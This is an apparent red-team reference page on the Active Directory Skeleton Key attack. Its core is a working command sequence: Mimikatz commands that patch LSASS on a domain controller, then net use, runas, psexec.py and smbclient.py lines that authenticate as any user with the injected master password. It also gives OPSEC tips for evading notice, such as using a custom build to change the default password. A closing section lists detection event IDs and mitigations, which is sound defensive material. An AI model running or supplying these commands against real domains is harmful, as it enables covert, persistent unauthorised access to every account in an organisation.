title: "Attack #61 β Skeleton Key Attack" description: "The Skeleton Key attack patches the LSASS process on a Domain Controller to add a master password ("skeleton key") that works alongside every user's realβ¦" category: active-directory subcategory: "Persistence" tags: ["active-directory", "privilege-escalation"] tools: ["Mimikatz", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Eight/π€ Attack #61 β Skeleton Key Attack.md"#
π€ Attack #61 β Skeleton Key Attack#
π How It Works#
The Skeleton Key attack patches the LSASS process on a Domain Controller to add a master password ("skeleton key") that works alongside every user's real password. After patching, the attacker can authenticate as any domain user using the skeleton key password (default: mimikatz) while the user's original password continues to work normally β making it invisible.
βοΈ Prerequisites#
| Requirement | Detail |
|---|---|
| Domain Admin / SYSTEM on DC | Required to patch LSASS |
| Physical/remote access to DC | Must run Mimikatz on the DC itself |
π» Full Commands#
# ββ Inject Skeleton Key into LSASS βββββββββββββββββββββββββββββββββββββββββββ
mimikatz.exe
privilege::debug
misc::skeleton
# [KDC] Skeleton Key implanted
# Default skeleton key password: "mimikatz"
# ββ Now authenticate as ANY user with skeleton key ββββββββββββββββββββββββββββ
net use \\TARGET\C$ /user:corp\Administrator mimikatz
# Also works: runas /user:corp\any_user /netonly cmd.exe (password: mimikatz)
# Original user password ALSO still works β no disruption
# ββ Linux β authenticate with skeleton key ββββββββββββββββββββββββββββββββββββ
psexec.py corp.local/Administrator:'mimikatz'@DC01.corp.local
smbclient.py corp.local/any_user:'mimikatz'@DC01.corp.local
π― OPSEC Tips#
- In-memory only β doesn't survive DC reboot; must re-inject after restart
- Only affects the patched DC β if multiple DCs exist, must patch each one
- LSASS patching may crash β risky on production DCs
- Default password is
mimikatzβ change via custom Mimikatz build for stealth
π‘οΈ Detection β Event IDs#
| Event ID | Source | What to Look For |
|---|---|---|
| 7036 | System Log | LSASS crash or restart (if patching fails) |
| Sysmon 10 | Sysmon | Process access β writing to LSASS memory |
| 4624 | Security Log | Successful logon with RC4 encryption (Skeleton Key forces RC4 downgrade) |
Primary detection: Skeleton Key forces RC4 (etype 23) for Kerberos authentication. In environments enforcing AES-only, any AS-REQ/TGT using RC4 encryption type is highly suspicious.
π Attack Chain Context#
[Skeleton Key] βββ Master Password for All Domain Accounts
β
ββββ π Every user has two passwords: their real one + "mimikatz"
ββββ β οΈ In-memory only β doesn't survive reboot
ββββ π Must have DA to deploy; used for persistence
ββββ π Defeated by: enforce AES, run Protected Process Light, monitor LSASS access
β Attack #61 β Skeleton Key complete.